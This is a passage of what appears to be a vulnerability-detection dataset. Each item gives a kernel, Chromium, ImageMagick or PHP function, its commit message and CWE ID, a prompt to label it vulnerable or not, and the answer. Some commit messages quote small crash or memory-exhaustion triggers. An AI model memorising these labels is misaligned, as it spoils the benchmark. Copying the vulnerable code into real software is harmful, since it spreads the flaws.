} else if (!strcmp(param->name, IMMEDIATEDATA)) {
SET_PSTATE_NEGOTIATE(param);
} else if (!strcmp(param->name, MAXRECVDATASEGMENTLENGTH)) {
if (iser == false)
SET_PSTATE_NEGOTIATE(param);
} else if (!strcmp(param->name, MAXXMITDATASEGMENTLENGTH)) {
continue;
} else if (!strcmp(param->name, MAXBURSTLENGTH)) {
SET_PSTATE_NEGOTIATE(param);
} else if (!strcmp(param->name, FIRSTBURSTLENGTH)) {
SET_PSTATE_NEGOTIATE(param);
} else if (!strcmp(param->name, DEFAULTTIME2WAIT)) {
SET_PSTATE_NEGOTIATE(param);
} else if (!strcmp(param->name, DEFAULTTIME2RETAIN)) {
SET_PSTATE_NEGOTIATE(param);
} else if (!strcmp(param->name, MAXOUTSTANDINGR2T)) {
SET_PSTATE_NEGOTIATE(param);
} else if (!strcmp(param->name, DATAPDUINORDER)) {
SET_PSTATE_NEGOTIATE(param);
} else if (!strcmp(param->name, DATASEQUENCEINORDER)) {
SET_PSTATE_NEGOTIATE(param);
} else if (!strcmp(param->name, ERRORRECOVERYLEVEL)) {
SET_PSTATE_NEGOTIATE(param);
} else if (!strcmp(param->name, SESSIONTYPE)) {
SET_PSTATE_NEGOTIATE(param);
} else if (!strcmp(param->name, IFMARKER)) {
SET_PSTATE_NEGOTIATE(param);
} else if (!strcmp(param->name, OFMARKER)) {
SET_PSTATE_NEGOTIATE(param);
} else if (!strcmp(param->name, IFMARKINT)) {
SET_PSTATE_NEGOTIATE(param);
} else if (!strcmp(param->name, OFMARKINT)) {
SET_PSTATE_NEGOTIATE(param);
} else if (!strcmp(param->name, RDMAEXTENSIONS)) {
if (iser == true)
SET_PSTATE_NEGOTIATE(param);
} else if (!strcmp(param->name, INITIATORRECVDATASEGMENTLENGTH)) {
if (iser == true)
SET_PSTATE_NEGOTIATE(param);
} else if (!strcmp(param->name, TARGETRECVDATASEGMENTLENGTH)) {
if (iser == true)
SET_PSTATE_NEGOTIATE(param);
}
}
return 0;
}
Commit Message: iscsi-target: fix heap buffer overflow on error
If a key was larger than 64 bytes, as checked by iscsi_check_key(), the
error response packet, generated by iscsi_add_notunderstood_response(),
would still attempt to copy the entire key into the packet, overflowing
the structure on the heap.
Remote preauthentication kernel memory corruption was possible if a
target was configured and listening on the network.
CVE-2013-2850
Signed-off-by: Kees Cook <keescook@chromium.org>
Cc: stable@vger.kernel.org
Signed-off-by: Nicholas Bellinger <nab@linux-iscsi.org>
CWE ID: CWE-119 | 0 | 15,186 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void QuitMessageLoop() {
BrowserThread::PostTask(BrowserThread::UI, FROM_HERE,
MessageLoop::QuitClosure());
}
Commit Message: Follow-on fixes and naming changes for https://codereview.chromium.org/12086077/
BUG=172573
Review URL: https://codereview.chromium.org/12177018
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@180600 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-287 | 0 | 18,796 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int _regulator_call_set_voltage_sel(struct regulator_dev *rdev,
int uV, unsigned selector)
{
struct pre_voltage_change_data data;
int ret;
data.old_uV = _regulator_get_voltage(rdev);
data.min_uV = uV;
data.max_uV = uV;
ret = _notifier_call_chain(rdev, REGULATOR_EVENT_PRE_VOLTAGE_CHANGE,
&data);
if (ret & NOTIFY_STOP_MASK)
return -EINVAL;
ret = rdev->desc->ops->set_voltage_sel(rdev, selector);
if (ret >= 0)
return ret;
_notifier_call_chain(rdev, REGULATOR_EVENT_ABORT_VOLTAGE_CHANGE,
(void *)data.old_uV);
return ret;
}
Commit Message: regulator: core: Fix regualtor_ena_gpio_free not to access pin after freeing
After freeing pin from regulator_ena_gpio_free, loop can access
the pin. So this patch fixes not to access pin after freeing.
Signed-off-by: Seung-Woo Kim <sw0312.kim@samsung.com>
Signed-off-by: Mark Brown <broonie@kernel.org>
CWE ID: CWE-416 | 0 | 6,503 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool NuMediaExtractor::getTotalBitrate(int64_t *bitrate) const {
if (mTotalBitrate >= 0) {
*bitrate = mTotalBitrate;
return true;
}
off64_t size;
if (mDurationUs >= 0 && mDataSource->getSize(&size) == OK) {
*bitrate = size * 8000000ll / mDurationUs; // in bits/sec
return true;
}
return false;
}
Commit Message: Fix integer overflow and divide-by-zero
Bug: 35763994
Test: ran CTS with and without fix
Change-Id: If835e97ce578d4fa567e33e349e48fb7b2559e0e
(cherry picked from commit 8538a603ef992e75f29336499cb783f3ec19f18c)
CWE ID: CWE-190 | 1 | 19,339 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void LockContentsView::AboutToRequestFocusFromTabTraversal(bool reverse) {
if (reverse && lock_screen_apps_active_) {
Shell::Get()->login_screen_controller()->FocusLockScreenApps(reverse);
return;
}
FocusNextWidget(reverse);
}
Commit Message: cros: Check initial auth type when showing views login.
Bug: 859611
Change-Id: I0298db9bbf4aed6bd40600aef2e1c5794e8cd058
Reviewed-on: https://chromium-review.googlesource.com/1123056
Reviewed-by: Xiaoyin Hu <xiaoyinh@chromium.org>
Commit-Queue: Jacob Dufault <jdufault@chromium.org>
Cr-Commit-Position: refs/heads/master@{#572224}
CWE ID: | 0 | 4,035 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: Document* HTMLFrameOwnerElement::contentDocument() const {
return (content_frame_ && content_frame_->IsLocalFrame())
? ToLocalFrame(content_frame_)->GetDocument()
: nullptr;
}
Commit Message: Resource Timing: Do not report subsequent navigations within subframes
We only want to record resource timing for the load that was initiated
by parent document. We filter out subsequent navigations for <iframe>,
but we should do it for other types of subframes too.
Bug: 780312
Change-Id: I3a7b9e1a365c99e24bb8dac190e88c7099fc3da5
Reviewed-on: https://chromium-review.googlesource.com/750487
Reviewed-by: Nate Chapin <japhet@chromium.org>
Commit-Queue: Kunihiko Sakamoto <ksakamoto@chromium.org>
Cr-Commit-Position: refs/heads/master@{#513665}
CWE ID: CWE-601 | 0 | 10,352 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static long getLongInfoField(char *info, char *field) {
char *value = getInfoField(info,field);
long l;
if (!value) return LONG_MIN;
l = strtol(value,NULL,10);
zfree(value);
return l;
}
Commit Message: Security: fix redis-cli buffer overflow.
Thanks to Fakhri Zulkifli for reporting it.
The fix switched to dynamic allocation, copying the final prompt in the
static buffer only at the end.
CWE ID: CWE-119 | 0 | 29,821 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool vhost_dev_has_owner(struct vhost_dev *dev)
{
return dev->mm;
}
Commit Message: vhost: actually track log eventfd file
While reviewing vhost log code, I found out that log_file is never
set. Note: I haven't tested the change (QEMU doesn't use LOG_FD yet).
Cc: stable@vger.kernel.org
Signed-off-by: Marc-André Lureau <marcandre.lureau@redhat.com>
Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
CWE ID: CWE-399 | 0 | 22,024 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: AXObject::AXObject(AXObjectCacheImpl& axObjectCache)
: m_id(0),
m_haveChildren(false),
m_role(UnknownRole),
m_lastKnownIsIgnoredValue(DefaultBehavior),
m_explicitContainerID(0),
m_parent(nullptr),
m_lastModificationCount(-1),
m_cachedIsIgnored(false),
m_cachedIsInertOrAriaHidden(false),
m_cachedIsDescendantOfLeafNode(false),
m_cachedIsDescendantOfDisabledNode(false),
m_cachedHasInheritedPresentationalRole(false),
m_cachedIsPresentationalChild(false),
m_cachedAncestorExposesActiveDescendant(false),
m_cachedLiveRegionRoot(nullptr),
m_axObjectCache(&axObjectCache) {
++s_numberOfLiveAXObjects;
}
Commit Message: Switch to equalIgnoringASCIICase throughout modules/accessibility
BUG=627682
Review-Url: https://codereview.chromium.org/2793913007
Cr-Commit-Position: refs/heads/master@{#461858}
CWE ID: CWE-254 | 0 | 6,495 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: virtual void SetUp() {
FakeDBusThreadManager* fake_dbus_thread_manager = new FakeDBusThreadManager;
fake_bluetooth_profile_manager_client_ =
new FakeBluetoothProfileManagerClient;
fake_dbus_thread_manager->SetBluetoothProfileManagerClient(
scoped_ptr<BluetoothProfileManagerClient>(
fake_bluetooth_profile_manager_client_));
fake_dbus_thread_manager->SetBluetoothAdapterClient(
scoped_ptr<BluetoothAdapterClient>(new FakeBluetoothAdapterClient));
fake_dbus_thread_manager->SetBluetoothDeviceClient(
scoped_ptr<BluetoothDeviceClient>(new FakeBluetoothDeviceClient));
fake_dbus_thread_manager->SetBluetoothInputClient(
scoped_ptr<BluetoothInputClient>(new FakeBluetoothInputClient));
DBusThreadManager::InitializeForTesting(fake_dbus_thread_manager);
device::BluetoothAdapterFactory::GetAdapter(
base::Bind(&BluetoothProfileChromeOSTest::AdapterCallback,
base::Unretained(this)));
ASSERT_TRUE(adapter_.get() != NULL);
ASSERT_TRUE(adapter_->IsInitialized());
ASSERT_TRUE(adapter_->IsPresent());
adapter_->SetPowered(
true,
base::Bind(&base::DoNothing),
base::Bind(&base::DoNothing));
ASSERT_TRUE(adapter_->IsPowered());
}
Commit Message: Refactor to support default Bluetooth pairing delegate
In order to support a default pairing delegate we need to move the agent
service provider delegate implementation from BluetoothDevice to
BluetoothAdapter while retaining the existing API.
BUG=338492
TEST=device_unittests, unit_tests, browser_tests
Review URL: https://codereview.chromium.org/148293003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@252216 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: | 1 | 24,618 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int proc_dointvec(struct ctl_table *table, int write,
void __user *buffer, size_t *lenp, loff_t *ppos)
{
return -ENOSYS;
}
Commit Message: sysctl: restrict write access to dmesg_restrict
When dmesg_restrict is set to 1 CAP_SYS_ADMIN is needed to read the kernel
ring buffer. But a root user without CAP_SYS_ADMIN is able to reset
dmesg_restrict to 0.
This is an issue when e.g. LXC (Linux Containers) are used and complete
user space is running without CAP_SYS_ADMIN. A unprivileged and jailed
root user can bypass the dmesg_restrict protection.
With this patch writing to dmesg_restrict is only allowed when root has
CAP_SYS_ADMIN.
Signed-off-by: Richard Weinberger <richard@nod.at>
Acked-by: Dan Rosenberg <drosenberg@vsecurity.com>
Acked-by: Serge E. Hallyn <serge@hallyn.com>
Cc: Eric Paris <eparis@redhat.com>
Cc: Kees Cook <kees.cook@canonical.com>
Cc: James Morris <jmorris@namei.org>
Cc: Eugene Teo <eugeneteo@kernel.org>
Cc: <stable@kernel.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-264 | 0 | 27,571 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static struct mfc6_cache *ip6mr_cache_find_any(struct mr6_table *mrt,
struct in6_addr *mcastgrp,
mifi_t mifi)
{
int line = MFC6_HASH(mcastgrp, &in6addr_any);
struct mfc6_cache *c, *proxy;
if (ipv6_addr_any(mcastgrp))
goto skip;
list_for_each_entry(c, &mrt->mfc6_cache_array[line], list)
if (ipv6_addr_any(&c->mf6c_origin) &&
ipv6_addr_equal(&c->mf6c_mcastgrp, mcastgrp)) {
if (c->mfc_un.res.ttls[mifi] < 255)
return c;
/* It's ok if the mifi is part of the static tree */
proxy = ip6mr_cache_find_any_parent(mrt,
c->mf6c_parent);
if (proxy && proxy->mfc_un.res.ttls[mifi] < 255)
return c;
}
skip:
return ip6mr_cache_find_any_parent(mrt, mifi);
}
Commit Message: ipv6: check sk sk_type and protocol early in ip_mroute_set/getsockopt
Commit 5e1859fbcc3c ("ipv4: ipmr: various fixes and cleanups") fixed
the issue for ipv4 ipmr:
ip_mroute_setsockopt() & ip_mroute_getsockopt() should not
access/set raw_sk(sk)->ipmr_table before making sure the socket
is a raw socket, and protocol is IGMP
The same fix should be done for ipv6 ipmr as well.
This patch can fix the panic caused by overwriting the same offset
as ipmr_table as in raw_sk(sk) when accessing other type's socket
by ip_mroute_setsockopt().
Signed-off-by: Xin Long <lucien.xin@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-20 | 0 | 19,418 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool BrowserCommandController::SupportsCommand(int id) const {
return command_updater_.SupportsCommand(id);
}
Commit Message: mac: Do not let synthetic events toggle "Allow JavaScript From AppleEvents"
Bug: 891697
Change-Id: I49eb77963515637df739c9d2ce83530d4e21cf15
Reviewed-on: https://chromium-review.googlesource.com/c/1308771
Reviewed-by: Elly Fong-Jones <ellyjones@chromium.org>
Commit-Queue: Robert Sesek <rsesek@chromium.org>
Cr-Commit-Position: refs/heads/master@{#604268}
CWE ID: CWE-20 | 0 | 11,089 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: base::Time DownloadItemImpl::GetStartTime() const { return start_time_; }
Commit Message: Refactors to simplify rename pathway in DownloadFileManager.
This is https://chromiumcodereview.appspot.com/10668004 / r144817 (reverted
due to CrOS failure) with the completion logic moved to after the
auto-opening. The tests that test the auto-opening (for web store install)
were waiting for download completion to check install, and hence were
failing when completion was moved earlier.
Doing this right would probably require another state (OPENED).
BUG=123998
BUG-134930
R=asanka@chromium.org
Review URL: https://chromiumcodereview.appspot.com/10701040
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@145157 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119 | 0 | 12,728 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool HasFile(const FilePath& file) const {
return files_.find(file.value()) != files_.end();
}
Commit Message: Fix creating target paths in file_util_posix CopyDirectory.
BUG=167840
Review URL: https://chromiumcodereview.appspot.com/11773018
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@176659 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-22 | 0 | 15,005 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void usage_exit() {
fprintf(stderr, "Usage: %s <infile> <outfile> <N-M|N/M>\n", exec_name);
exit(EXIT_FAILURE);
}
Commit Message: Merge Conflict Fix CL to lmp-mr1-release for ag/849478
DO NOT MERGE - libvpx: Pull from upstream
Current HEAD: 7105df53d7dc13d5e575bc8df714ec8d1da36b06
BUG=23452792
Change-Id: Ic78176fc369e0bacc71d423e0e2e6075d004aaec
CWE ID: CWE-119 | 1 | 1,565 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int emulate_pop(struct x86_emulate_ctxt *ctxt,
void *dest, int len)
{
int rc;
struct segmented_address addr;
addr.ea = register_address(ctxt, ctxt->regs[VCPU_REGS_RSP]);
addr.seg = VCPU_SREG_SS;
rc = segmented_read(ctxt, addr, dest, len);
if (rc != X86EMUL_CONTINUE)
return rc;
register_address_increment(ctxt, &ctxt->regs[VCPU_REGS_RSP], len);
return rc;
}
Commit Message: KVM: x86: fix missing checks in syscall emulation
On hosts without this patch, 32bit guests will crash (and 64bit guests
may behave in a wrong way) for example by simply executing following
nasm-demo-application:
[bits 32]
global _start
SECTION .text
_start: syscall
(I tested it with winxp and linux - both always crashed)
Disassembly of section .text:
00000000 <_start>:
0: 0f 05 syscall
The reason seems a missing "invalid opcode"-trap (int6) for the
syscall opcode "0f05", which is not available on Intel CPUs
within non-longmodes, as also on some AMD CPUs within legacy-mode.
(depending on CPU vendor, MSR_EFER and cpuid)
Because previous mentioned OSs may not engage corresponding
syscall target-registers (STAR, LSTAR, CSTAR), they remain
NULL and (non trapping) syscalls are leading to multiple
faults and finally crashs.
Depending on the architecture (AMD or Intel) pretended by
guests, various checks according to vendor's documentation
are implemented to overcome the current issue and behave
like the CPUs physical counterparts.
[mtosatti: cleanup/beautify code]
Signed-off-by: Stephan Baerwolf <stephan.baerwolf@tu-ilmenau.de>
Signed-off-by: Marcelo Tosatti <mtosatti@redhat.com>
CWE ID: | 0 | 29,103 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: CommandBuffer* GLES2Implementation::command_buffer() const {
return helper_->command_buffer();
}
Commit Message: Add GL_PROGRAM_COMPLETION_QUERY_CHROMIUM
This makes the query of GL_COMPLETION_STATUS_KHR to programs much
cheaper by minimizing the round-trip to the GPU thread.
Bug: 881152, 957001
Change-Id: Iadfa798af29225e752c710ca5c25f50b3dd3101a
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1586630
Commit-Queue: Kenneth Russell <kbr@chromium.org>
Reviewed-by: Kentaro Hara <haraken@chromium.org>
Reviewed-by: Geoff Lang <geofflang@chromium.org>
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Cr-Commit-Position: refs/heads/master@{#657568}
CWE ID: CWE-416 | 0 | 24,511 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: MagickPrivate VirtualPixelMethod GetPixelCacheVirtualMethod(const Image *image)
{
CacheInfo
*magick_restrict cache_info;
assert(image != (Image *) NULL);
assert(image->signature == MagickCoreSignature);
assert(image->cache != (Cache) NULL);
cache_info=(CacheInfo *) image->cache;
assert(cache_info->signature == MagickCoreSignature);
return(cache_info->virtual_pixel_method);
}
Commit Message: Set pixel cache to undefined if any resource limit is exceeded
CWE ID: CWE-119 | 0 | 27,839 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static inline unsigned xfrm6_tunnel_spi_hash_byaddr(xfrm_address_t *addr)
{
unsigned h;
h = (__force u32)(addr->a6[0] ^ addr->a6[1] ^ addr->a6[2] ^ addr->a6[3]);
h ^= h >> 16;
h ^= h >> 8;
h &= XFRM6_TUNNEL_SPI_BYADDR_HSIZE - 1;
return h;
}
Commit Message: [IPV6]: Fix slab corruption running ip6sic
From: Eric Sesterhenn <snakebyte@gmx.de>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-399 | 0 | 21,985 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: MagickExport Image *DestroyImage(Image *image)
{
MagickBooleanType
destroy;
/*
Dereference image.
*/
assert(image != (Image *) NULL);
assert(image->signature == MagickCoreSignature);
if (image->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename);
destroy=MagickFalse;
LockSemaphoreInfo(image->semaphore);
image->reference_count--;
if (image->reference_count == 0)
destroy=MagickTrue;
UnlockSemaphoreInfo(image->semaphore);
if (destroy == MagickFalse)
return((Image *) NULL);
/*
Destroy image.
*/
DestroyImagePixels(image);
image->channel_map=DestroyPixelChannelMap(image->channel_map);
if (image->montage != (char *) NULL)
image->montage=DestroyString(image->montage);
if (image->directory != (char *) NULL)
image->directory=DestroyString(image->directory);
if (image->colormap != (PixelInfo *) NULL)
image->colormap=(PixelInfo *) RelinquishMagickMemory(image->colormap);
if (image->geometry != (char *) NULL)
image->geometry=DestroyString(image->geometry);
DestroyImageProfiles(image);
DestroyImageProperties(image);
DestroyImageArtifacts(image);
if (image->ascii85 != (Ascii85Info *) NULL)
image->ascii85=(Ascii85Info *) RelinquishMagickMemory(image->ascii85);
if (image->image_info != (ImageInfo *) NULL)
image->image_info=DestroyImageInfo(image->image_info);
DestroyBlob(image);
if (image->semaphore != (SemaphoreInfo *) NULL)
RelinquishSemaphoreInfo(&image->semaphore);
image->signature=(~MagickCoreSignature);
image=(Image *) RelinquishMagickMemory(image);
return(image);
}
Commit Message: Set pixel cache to undefined if any resource limit is exceeded
CWE ID: CWE-119 | 0 | 23,571 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int install_session_keyring(struct key *keyring)
{
struct cred *new;
int ret;
new = prepare_creds();
if (!new)
return -ENOMEM;
ret = install_session_keyring_to_cred(new, keyring);
if (ret < 0) {
abort_creds(new);
return ret;
}
return commit_creds(new);
}
Commit Message: KEYS: fix keyctl_set_reqkey_keyring() to not leak thread keyrings
This fixes CVE-2017-7472.
Running the following program as an unprivileged user exhausts kernel
memory by leaking thread keyrings:
#include <keyutils.h>
int main()
{
for (;;)
keyctl_set_reqkey_keyring(KEY_REQKEY_DEFL_THREAD_KEYRING);
}
Fix it by only creating a new thread keyring if there wasn't one before.
To make things more consistent, make install_thread_keyring_to_cred()
and install_process_keyring_to_cred() both return 0 if the corresponding
keyring is already present.
Fixes: d84f4f992cbd ("CRED: Inaugurate COW credentials")
Cc: stable@vger.kernel.org # 2.6.29+
Signed-off-by: Eric Biggers <ebiggers@google.com>
Signed-off-by: David Howells <dhowells@redhat.com>
CWE ID: CWE-404 | 0 | 599 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void __init free_syscall_print_fmt(struct ftrace_event_call *call)
{
struct syscall_metadata *entry = call->data;
if (entry->enter_event == call)
kfree(call->print_fmt);
}
Commit Message: tracing/syscalls: Ignore numbers outside NR_syscalls' range
ARM has some private syscalls (for example, set_tls(2)) which lie
outside the range of NR_syscalls. If any of these are called while
syscall tracing is being performed, out-of-bounds array access will
occur in the ftrace and perf sys_{enter,exit} handlers.
# trace-cmd record -e raw_syscalls:* true && trace-cmd report
...
true-653 [000] 384.675777: sys_enter: NR 192 (0, 1000, 3, 4000022, ffffffff, 0)
true-653 [000] 384.675812: sys_exit: NR 192 = 1995915264
true-653 [000] 384.675971: sys_enter: NR 983045 (76f74480, 76f74000, 76f74b28, 76f74480, 76f76f74, 1)
true-653 [000] 384.675988: sys_exit: NR 983045 = 0
...
# trace-cmd record -e syscalls:* true
[ 17.289329] Unable to handle kernel paging request at virtual address aaaaaace
[ 17.289590] pgd = 9e71c000
[ 17.289696] [aaaaaace] *pgd=00000000
[ 17.289985] Internal error: Oops: 5 [#1] PREEMPT SMP ARM
[ 17.290169] Modules linked in:
[ 17.290391] CPU: 0 PID: 704 Comm: true Not tainted 3.18.0-rc2+ #21
[ 17.290585] task: 9f4dab00 ti: 9e710000 task.ti: 9e710000
[ 17.290747] PC is at ftrace_syscall_enter+0x48/0x1f8
[ 17.290866] LR is at syscall_trace_enter+0x124/0x184
Fix this by ignoring out-of-NR_syscalls-bounds syscall numbers.
Commit cd0980fc8add "tracing: Check invalid syscall nr while tracing syscalls"
added the check for less than zero, but it should have also checked
for greater than NR_syscalls.
Link: http://lkml.kernel.org/p/1414620418-29472-1-git-send-email-rabin@rab.in
Fixes: cd0980fc8add "tracing: Check invalid syscall nr while tracing syscalls"
Cc: stable@vger.kernel.org # 2.6.33+
Signed-off-by: Rabin Vincent <rabin@rab.in>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
CWE ID: CWE-264 | 0 | 15,135 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: PHP_FUNCTION(openssl_pkcs7_sign)
{
zval * zcert, * zprivkey, * zheaders;
zval * hval;
X509 * cert = NULL;
EVP_PKEY * privkey = NULL;
zend_long flags = PKCS7_DETACHED;
PKCS7 * p7 = NULL;
BIO * infile = NULL, * outfile = NULL;
STACK_OF(X509) *others = NULL;
zend_resource *certresource = NULL, *keyresource = NULL;
zend_string * strindex;
char * infilename;
size_t infilename_len;
char * outfilename;
size_t outfilename_len;
char * extracertsfilename = NULL;
size_t extracertsfilename_len;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "ppzza!|lp!",
&infilename, &infilename_len, &outfilename, &outfilename_len,
&zcert, &zprivkey, &zheaders, &flags, &extracertsfilename,
&extracertsfilename_len) == FAILURE) {
return;
}
RETVAL_FALSE;
if (extracertsfilename) {
others = load_all_certs_from_file(extracertsfilename);
if (others == NULL) {
goto clean_exit;
}
}
privkey = php_openssl_evp_from_zval(zprivkey, 0, "", 0, 0, &keyresource);
if (privkey == NULL) {
php_error_docref(NULL, E_WARNING, "error getting private key");
goto clean_exit;
}
cert = php_openssl_x509_from_zval(zcert, 0, &certresource);
if (cert == NULL) {
php_error_docref(NULL, E_WARNING, "error getting cert");
goto clean_exit;
}
if (php_openssl_open_base_dir_chk(infilename) || php_openssl_open_base_dir_chk(outfilename)) {
goto clean_exit;
}
infile = BIO_new_file(infilename, "r");
if (infile == NULL) {
php_error_docref(NULL, E_WARNING, "error opening input file %s!", infilename);
goto clean_exit;
}
outfile = BIO_new_file(outfilename, "w");
if (outfile == NULL) {
php_error_docref(NULL, E_WARNING, "error opening output file %s!", outfilename);
goto clean_exit;
}
p7 = PKCS7_sign(cert, privkey, others, infile, (int)flags);
if (p7 == NULL) {
php_error_docref(NULL, E_WARNING, "error creating PKCS7 structure!");
goto clean_exit;
}
(void)BIO_reset(infile);
/* tack on extra headers */
if (zheaders) {
ZEND_HASH_FOREACH_STR_KEY_VAL(Z_ARRVAL_P(zheaders), strindex, hval) {
convert_to_string_ex(hval);
if (strindex) {
BIO_printf(outfile, "%s: %s\n", ZSTR_VAL(strindex), Z_STRVAL_P(hval));
} else {
BIO_printf(outfile, "%s\n", Z_STRVAL_P(hval));
}
} ZEND_HASH_FOREACH_END();
}
/* write the signed data */
SMIME_write_PKCS7(outfile, p7, infile, (int)flags);
RETVAL_TRUE;
clean_exit:
PKCS7_free(p7);
BIO_free(infile);
BIO_free(outfile);
if (others) {
sk_X509_pop_free(others, X509_free);
}
if (privkey && keyresource == NULL) {
EVP_PKEY_free(privkey);
}
if (cert && certresource == NULL) {
X509_free(cert);
}
}
Commit Message:
CWE ID: CWE-754 | 0 | 21,866 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool DragController::TryDocumentDrag(DragData* drag_data,
DragDestinationAction action_mask,
DragSession& drag_session,
LocalFrame& local_root) {
DCHECK(drag_data);
if (!document_under_mouse_)
return false;
if (drag_initiator_ && !document_under_mouse_->GetSecurityOrigin()->CanAccess(
drag_initiator_->GetSecurityOrigin()))
return false;
bool is_handling_drag = false;
if (action_mask & kDragDestinationActionDHTML) {
is_handling_drag =
TryDHTMLDrag(drag_data, drag_session.operation, local_root);
if (!document_under_mouse_)
return false;
}
LocalFrameView* frame_view = document_under_mouse_->View();
if (!frame_view)
return false;
if (is_handling_drag) {
page_->GetDragCaret().Clear();
return true;
}
if ((action_mask & kDragDestinationActionEdit) &&
CanProcessDrag(drag_data, local_root)) {
LayoutPoint point = frame_view->RootFrameToContents(
LayoutPoint(drag_data->ClientPosition()));
Element* element = ElementUnderMouse(document_under_mouse_.Get(), point);
if (!element)
return false;
HTMLInputElement* element_as_file_input = AsFileInput(element);
if (file_input_element_under_mouse_ != element_as_file_input) {
if (file_input_element_under_mouse_)
file_input_element_under_mouse_->SetCanReceiveDroppedFiles(false);
file_input_element_under_mouse_ = element_as_file_input;
}
if (!file_input_element_under_mouse_) {
page_->GetDragCaret().SetCaretPosition(
document_under_mouse_->GetFrame()->PositionForPoint(point));
}
LocalFrame* inner_frame = element->GetDocument().GetFrame();
drag_session.operation = DragIsMove(inner_frame->Selection(), drag_data)
? kDragOperationMove
: kDragOperationCopy;
drag_session.mouse_is_over_file_input = file_input_element_under_mouse_;
drag_session.number_of_items_to_be_accepted = 0;
const unsigned number_of_files = drag_data->NumberOfFiles();
if (file_input_element_under_mouse_) {
if (file_input_element_under_mouse_->IsDisabledFormControl())
drag_session.number_of_items_to_be_accepted = 0;
else if (file_input_element_under_mouse_->Multiple())
drag_session.number_of_items_to_be_accepted = number_of_files;
else if (number_of_files == 1)
drag_session.number_of_items_to_be_accepted = 1;
else
drag_session.number_of_items_to_be_accepted = 0;
if (!drag_session.number_of_items_to_be_accepted)
drag_session.operation = kDragOperationNone;
file_input_element_under_mouse_->SetCanReceiveDroppedFiles(
drag_session.number_of_items_to_be_accepted);
} else {
drag_session.number_of_items_to_be_accepted =
number_of_files != 1 ? 0 : 1;
}
return true;
}
page_->GetDragCaret().Clear();
if (file_input_element_under_mouse_)
file_input_element_under_mouse_->SetCanReceiveDroppedFiles(false);
file_input_element_under_mouse_ = nullptr;
return false;
}
Commit Message: Move user activation check to RemoteFrame::Navigate's callers.
Currently RemoteFrame::Navigate is the user of
Frame::HasTransientUserActivation that passes a RemoteFrame*, and
it seems wrong because the user activation (user gesture) needed by
the navigation should belong to the LocalFrame that initiated the
navigation.
Follow-up CLs after this one will update UserActivation code in
Frame to take a LocalFrame* instead of a Frame*, and get rid of
redundant IPCs.
Bug: 811414
Change-Id: I771c1694043edb54374a44213d16715d9c7da704
Reviewed-on: https://chromium-review.googlesource.com/914736
Commit-Queue: Mustaq Ahmed <mustaq@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Cr-Commit-Position: refs/heads/master@{#536728}
